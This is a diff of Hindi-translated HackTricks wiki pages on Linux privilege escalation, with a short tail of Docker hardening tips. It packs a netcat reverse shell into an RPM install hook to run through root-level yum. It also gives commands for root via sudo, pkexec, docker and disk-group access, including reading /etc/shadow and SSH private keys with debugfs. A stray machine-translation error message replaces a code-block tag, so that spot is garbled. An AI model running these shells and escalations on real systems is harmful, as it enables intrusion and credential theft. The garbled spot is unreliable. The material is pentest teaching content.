सिसकॉल्स की न्यूनतम आवश्यकता हो। -* [आधिकारिक डॉकर इमेजेज](https://docs.docker.com/docker-hub/official_images/) का उपयोग करें या उन पर आधारित अपनी इमेजेज बनाएं। [बैकडोर्ड](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) इमेजेज का उत्पादन न करें और उनका उपयोग न करें। -* नियमित रूप से अपनी इमेजेज को नवीनतम सुरक्षा पैच लागू करने के लिए पुनः निर्माण करें। यह बात स्वतः स्पष्ट है। +* `--privileged` फ्लैग का उपयोग न करें या कंटेनर के अंदर [Docker सॉकेट माउंट न करें](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)। Docker सॉकेट कंटेनरों को स्पॉन करने की अनुमति देता है, इसलिए यह होस्ट का पूरा नियंत्रण लेने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` फ्लैग के साथ एक और कंटेनर चलाकर। +* कंटेनर के अंदर रूट के रूप में न चलाएं। [अलग यूजर](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) का उपयोग करें या [यूजर नेमस्पेस](https://docs.docker.com/engine/security/userns-remap/) का। कंटेनर में रूट होस्ट पर वही होता है जब तक कि यूजर नेमस्पेस के साथ रीमैप नहीं किया जाता। यह मुख्य रूप से Linux नेमस्पेस, क्षमताओं और cgroups द्वारा हल्के रूप से प्रतिबंधित होता है। +* [सभी क्षमताओं को ड्रॉप करें](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) और केवल उन्हें सक्षम करें जो आवश्यक हैं \(`--cap-add=...`\)। कई कार्यभारों को किसी भी क्षमता की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले की गुंजाइश बढ़ जाती है। +* [“no-new-privileges” सुरक्षा विकल्प का उपयोग करें](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएं अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए suid बाइनरीज के माध्यम से। +* [कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)। संसाधन सीमाएं मशीन को सेवा से इनकार हमलों से बचा सकती हैं। +* [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(या SELinux\) प्रोफाइलों को समायोजित करें ताकि कंटेनर के लिए उपलब्ध क्रियाओं और syscalls को न्यूनतम आवश्यकता तक सीमित किया जा सके। +* [आधिकारिक docker इमेजेस](https://docs.docker.com/docker-hub/official_images/) का उपयोग करें या उनके आधार पर अपनी खुद की बनाएं। [बैकडोर्ड](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) इमेजेस को विरासत में न लें या उपयोग न करें। +* नियमित रूप से अपनी इमेजेस को सुरक्षा पैच लागू करने के लिए पुनः बनाएं। यह बिना कहे समझा जाता है। # संदर्भ @@ -354,18 +334,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) - -
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह। +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें।** +* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें। -- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें। - -- **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो +
diff --git a/linux-unix/privilege-escalation/exploiting-yum.md b/linux-unix/privilege-escalation/exploiting-yum.md index 6120a4f20..f2fe7ddbe 100644 --- a/linux-unix/privilege-escalation/exploiting-yum.md +++ b/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,32 +1,30 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-yum के आसपास और भी उदाहरण [gtfobins](https://gtfobins.github.io/gtfobins/yum/) पर मिल सकते हैं। +yum के आसपास के और उदाहरण [gtfobins](https://gtfobins.github.io/gtfobins/yum/) पर भी पाए जा सकते हैं। -# RPM पैकेज के माध्यम से अनियमित कमांड्स को निष्पादित करना -## पर्यावरण की जांच करना -इस वेक्टर का उपयोग करने के लिए उपयोगकर्ता को उच्चतर अधिकारी के रूप में yum कमांड्स को निष्पादित करने की क्षमता होनी चाहिए, अर्थात् root. +# RPM पैकेज के माध्यम से मनमाने कमांड्स को निष्पादित करना +## पर्यावरण की जांच +इस वेक्टर का लाभ उठाने के लिए उपयोगकर्ता को उच्च विशेषाधिकार वाले उपयोगकर्ता, जैसे कि root, के रूप में yum कमांड्स निष्पादित करने में सक्षम होना चाहिए। -### इस वेक्टर का एक कार्यरत उदाहरण -इस उत्पाद के एक कार्यरत उदाहरण को [daily bugle](https://tryhackme.com/room/dailybugle) कक्षा पर [tryhackme](https://tryhackme.com) में मिल सकता है। +### इस वेक्टर का एक काम करने वाला उदाहरण +इस एक्सप्लॉइट का एक काम करने वाला उदाहरण [daily bugle](https://tryhackme.com/room/dailybugle) रूम में [tryhackme](https://tryhackme.com) पर पाया जा सकता है। -## RPM पैकेज पैक करना -निम्नलिखित खंड में, मैं [fpm](https://github.com/jordansissel/fpm) का उपयोग करके एक RPM में एक रिवर्स शेल पैक करने का वर्णन करूंगा। +## एक RPM पैक करना +निम्नलिखित खंड में, मैं [fpm](https://github.com/jordansissel/fpm) का उपयोग करके एक RPM में रिवर्स शेल को पैकेज करने की प्रक्रिया को कवर करूंगा। -नीचे दिए गए उदाहरण में, एक पैकेज बनाया जाता है जिसमें एक before-install ट्रिगर शामिल होता है जिसमें हमलावर द्वारा परिभाषित एक अनियमित स्क्रिप्ट हो सकता है। जब इसे स्थापित किया जाता है, यह पैकेज अनियमित कमांड को निष्पादित करेगा। मैंने उदाहरण के तौर पर एक सरल रिवर्स नेटकैट शेल उदाहरण का उपयोग किया है, लेकिन यह आवश्यकतानुसार बदला जा सकता है। +नीचे दिया गया उदाहरण एक पैकेज बनाता है जिसमें एक before-install ट्रिगर शामिल होता है जिसमें एक मनमानी स्क्रिप्ट होती है जिसे हमलावर द्वारा परिभाषित किया जा सकता है। जब इंस्टॉल किया जाता है, यह पैकेज मनमाने कमांड को निष्पादित करेगा। मैंने प्रदर्शन के लिए एक साधारण रिवर्स नेटकैट शेल उदाहरण का उपयोग किया है, लेकिन इसे आवश्यकता के अनुसार बदला जा सकता है। ```text EXPLOITDIR=$(mktemp -d) CMD='nc -e /bin/bash ' @@ -34,26 +32,23 @@ RPMNAME="exploited" echo $CMD > $EXPLOITDIR/beforeinstall.sh fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR ``` -# शैल को पकड़ना -ऊपर दिए गए उदाहरण का उपयोग करते हुए और मानते हुए कि `yum` को एक उच्च-अधिकारी उपयोगकर्ता के रूप में निष्पादित किया जा सकता है। - -1. **rpm** को होस्ट पर **स्थानांतरित** करें -2. अपने स्थानीय होस्ट पर एक लिस्टनर जैसे कि [उदाहरण नेटकैट लिस्टनर](/shells/shells/linux#netcat) **शुरू** करें -3. **विकल्पी पैकेज** `yum localinstall -y exploited-1.0-1.noarch.rpm` को **स्थापित** करें +# शेल प्राप्त करना +ऊपर दिए गए उदाहरण का उपयोग करते हुए और मान लें कि `yum` को उच्च-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में निष्पादित किया जा सकता है। +1. **होस्ट पर rpm ट्रांसफर करें** +2. **अपने स्थानीय होस्ट पर एक लिसनर शुरू करें** जैसे कि [नेटकैट लिसनर का उदाहरण](/shells/shells/linux#netcat) +3. **वल्नरेबल पैकेज इंस्टॉल करें** `yum localinstall -y exploited-1.0-1.noarch.rpm`
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर सबमिट करके साझा करें**. +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**। +* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index cde24f546..3bf9cb040 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,25 +1,23 @@
-☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS परिवार**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
-# सुडो/एडमिन समूह +# Sudo/Admin समूह ## **PE - विधि 1** -**कभी-कभी**, **डिफ़ॉल्ट रूप से \(या कुछ सॉफ़्टवेयर की आवश्यकता होने के कारण\)** **/etc/sudoers** फ़ाइल में आपको इनमें से कुछ लाइनें मिल सकती हैं: +**कभी-कभी**, **डिफ़ॉल्ट रूप से \(या क्योंकि कुछ सॉफ़्टवेयर को इसकी आवश्यकता होती है\)** **/etc/sudoers** फ़ाइल के अंदर आपको ये पंक्तियाँ मिल सकती हैं: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -27,36 +25,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` -इसका मतलब है कि **सूडो या एडमिन समूह में शामिल होने वाले कोई भी उपयोगकर्ता सूडो के रूप में कुछ भी चला सकता है**। +इसका मतलब है कि **sudo या admin समूह का कोई भी सदस्य कुछ भी sudo के रूप में निष्पादित कर सकता है**। -यदि ऐसा है, तो **रूट बनने के लिए आप सिर्फ यह चला सकते हैं**: +यदि ऐसा है, तो **root बनने के लिए आप बस निम्नलिखित निष्पादित कर सकते हैं**: ```text sudo su ``` -## PE - तकनीक 2 +## PE - विधि 2 -सभी suid बाइनरी ढूंढ़ें और देखें कि क्या बाइनरी **Pkexec** है: +सभी suid बाइनरीज़ को ढूंढें और जांचें कि क्या **Pkexec** बाइनरी मौजूद है: ```bash find / -perm -4000 2>/dev/null ``` -यदि आपको पता चलता है कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin समूह में शामिल हैं, तो आप pkexec का उपयोग करके बाइनरी को sudo के रूप में चला सकते हैं। -निम्नलिखित की सामग्री की जांच करें: +यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin समूह के सदस्य हैं, तो आप pkexec का उपयोग करके संभवतः बाइनरीज़ को sudo के रूप में निष्पादित कर सकते हैं। +निम्नलिखित की सामग्री की जाँच करें: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -वहां आपको पता चलेगा कि कौन से समूह **pkexec** और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **sudo या admin** जैसे समूहों को **चलाने की अनुमति** होती है। +वहां आपको पता चलेगा कि किन समूहों को **pkexec** निष्पादित करने की अनुमति है और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **प्रकट** हो सकते हैं कुछ समूह **sudo या admin**. -**रूट बनने के लिए आप निम्नलिखित को चला सकते हैं**: +**रूट बनने के लिए आप निष्पादित कर सकते हैं**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -यदि आप **pkexec** को निष्पादित करने का प्रयास करते हैं और आपको यह **त्रुटि** मिलती है: +यदि आप **pkexec** निष्पादित करने का प्रयास करते हैं और आपको यह **error** मिलती है: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए कि आप GUI के बिना कनेक्ट नहीं हैं**। और इस मुद्दे का एक काम करने का तरीका यहां है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग-अलग ssh सत्र** की आवश्यकता होगी: +**यह इसलिए नहीं है क्योंकि आपके पास अनुमतियां नहीं हैं, बल्कि इसलिए है क्योंकि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या के लिए यहाँ एक समाधान है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग-अलग ssh सत्रों** की आवश्यकता है: {% code title="session1" %} ```bash @@ -64,38 +62,38 @@ echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` -{% code title="session2" %} +The provided text seems to be part of a markdown file with code block syntax, but there is no actual content to translate. The text only includes closing and opening tags for code blocks in markdown. Please provide the English text that needs to be translated into Hindi, and I will translate it while maintaining the original markdown and HTML syntax. ```bash pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` {% endcode %} -# व्हील समूह +# Wheel Group -**कभी-कभी**, **डिफ़ॉल्ट रूप से** **/etc/sudoers** फ़ाइल में आप इस लाइन को पाएंगे: +**कभी-कभी**, **डिफ़ॉल्ट रूप से** **/etc/sudoers** फ़ाइल के अंदर आप यह पंक्ति पा सकते हैं: ```text %wheel ALL=(ALL:ALL) ALL ``` -इसका मतलब है कि **व्हील समूह में शामिल होने वाले कोई भी उपयोगकर्ता sudo के रूप में कुछ भी निष्पादित कर सकता है**। +इसका मतलब है कि **जो भी उपयोगकर्ता wheel समूह का हिस्सा है वह सब कुछ sudo के रूप में निष्पादित कर सकता है**। -यदि ऐसा है, तो **रूट बनने के लिए आप सिर्फ निष्पादित कर सकते हैं**: +यदि ऐसा है, तो **root बनने के लिए आप बस निम्नलिखित निष्पादित कर सकते हैं**: ```text sudo su ``` -# शैडो ग्रुप +# शैडो समूह -**शैडो ग्रुप** के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़ सकते हैं**: +**ग्रुप शैडो** के उपयोगकर्ता **/etc/shadow** फाइल को **पढ़** सकते हैं: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -तो, फ़ाइल को पढ़ें और कुछ हैश को **क्रैक करने** का प्रयास करें। +इसलिए, फाइल को पढ़ें और **कुछ हैशेस को क्रैक करने की** कोशिश करें। # डिस्क समूह -यह विशेषाधिकार प्रायः **रूट एक्सेस के समान** होता है क्योंकि आप मशीन के अंदर के सभी डेटा तक पहुंच सकते हैं। +यह विशेषाधिकार लगभग **रूट एक्सेस के बराबर** है क्योंकि आप मशीन के अंदर के सभी डेटा तक पहुँच सकते हैं। -फ़ाइलें: `/dev/sd[a-z][1-9]` +फाइलें:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -103,47 +101,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -ध्यान दें कि debugfs का उपयोग करके आप **फ़ाइलें लिख सकते हैं**। उदाहरण के लिए, `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप निम्नलिखित कर सकते हैं: +ध्यान दें कि debugfs का उपयोग करके आप **फाइलें लिख** भी सकते हैं। उदाहरण के लिए `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप यह कर सकते हैं: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -यदि आप **रूट के स्वामित्व में लिखें** \(जैसे `/etc/shadow` या `/etc/passwd`\) तो आपको "**अनुमति निषेध**" त्रुटि मिलेगी। +हालांकि, यदि आप **root द्वारा स्वामित्व वाली फाइलों को लिखने का प्रयास करते हैं** \(जैसे `/etc/shadow` या `/etc/passwd`\) तो आपको "**Permission denied**" त्रुटि मिलेगी। # वीडियो समूह -`w` कमांड का उपयोग करके आप **सिस्टम पर कौन लॉग इन है** यह पता लगा सकते हैं और यह निम्नलिखित प्रकार का आउटपुट दिखाएगा: +आदेश `w` का उपयोग करके आप पता लगा सकते हैं **सिस्टम पर कौन लॉग इन है** और इससे निम्नलिखित जैसा आउटपुट दिखाई देगा: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -**tty1** यह दर्शाता है कि मशीन पर उपयोगकर्ता **yossi शारीरिक रूप से लॉग इन** हैं। +**tty1** का मतलब है कि उपयोगकर्ता **yossi मशीन पर भौतिक रूप से एक टर्मिनल में लॉग इन है।** -**video समूह** को स्क्रीन आउटपुट देखने की अनुमति होती है। मूल रूप से, आप स्क्रीन पर वर्तमान छवि को **रॉ डेटा में पकड़ सकते** हैं और स्क्रीन द्वारा उपयोग की जा रही रिज़ॉल्यूशन प्राप्त कर सकते हैं। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन की रिज़ॉल्यूशन को `/sys/class/graphics/fb0/virtual_size` पर ढूंढ सकते हैं। +**video group** को स्क्रीन आउटपुट देखने की पहुंच होती है। मूल रूप से आप स्क्रीन्स को देख सकते हैं। इसके लिए आपको स्क्रीन पर मौजूदा छवि को कच्चे डेटा में **पकड़ना होगा** और स्क्रीन जिस रेजोल्यूशन का उपयोग कर रही है उसे प्राप्त करना होगा। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन के रेजोल्यूशन को `/sys/class/graphics/fb0/virtual_size` पर ढूंढ सकते हैं। ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -**खोलने** के लिए **रॉ इमेज** का उपयोग करने के लिए आप **GIMP** का उपयोग कर सकते हैं, **`screen.raw`** फ़ाइल का चयन करें और फ़ाइल प्रकार के रूप में **रॉ इमेज डेटा** का चयन करें: +कच्ची छवि को **खोलने** के लिए आप **GIMP** का उपयोग कर सकते हैं, **`screen.raw`** फ़ाइल का चयन करें और फ़ाइल प्रकार के रूप में **कच्ची छवि डेटा** का चयन करें: ![](../../.gitbook/assets/image%20%28208%29.png) -फिर चौड़ाई और ऊचाई को स्क्रीन पर उपयोग किए जाने वाले वाल्यू में संशोधित करें और विभिन्न इमेज प्रकारों की जांच करें \(और उसे चुनें जो स्क्रीन को बेहतर दिखाता है\): +फिर स्क्रीन पर उपयोग किए गए चौड़ाई और ऊंचाई को संशोधित करें और विभिन्न छवि प्रकारों की जांच करें \(और वह चुनें जो स्क्रीन को बेहतर दिखाता है\): ![](../../.gitbook/assets/image%20%28295%29.png) -# रूट समूह +# Root Group -ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** को कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलें या कुछ **लाइब्रेरी** फ़ाइलें या **अन्य रोचक चीजें** को संशोधित करने की अनुमति हो सकती है, जो विशेषाधिकारों को बढ़ाने के लिए उपयोग किया जा सकता है... +ऐसा लगता है कि डिफ़ॉल्ट रूप से **root group के सदस्यों** को कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरीज़** फ़ाइलों या **अन्य दिलचस्प चीजों** को संशोधित करने की पहुंच हो सकती है जिनका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है... -**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**: +**जांचें कि root सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**: ```bash find / -group root -perm -g=w 2>/dev/null ``` -# डॉकर समूह +# Docker समूह -आप मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है तो वह तत्काल उस वॉल्यूम में एक `chroot` लोड करता है। इससे आपको मशीन पर रूट दिया जाता है। +आप मेजबान मशीन की रूट फाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह आपको मशीन पर रूट प्रदान करता है। {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} @@ -151,22 +149,20 @@ find / -group root -perm -g=w 2>/dev/null # lxc/lxd समूह -[lxc - विशेषाधिकार उन्नयन](lxd-privilege-escalation.md) +[lxc - विशेषाधिकार वृद्धि](lxd-privilege-escalation.md)
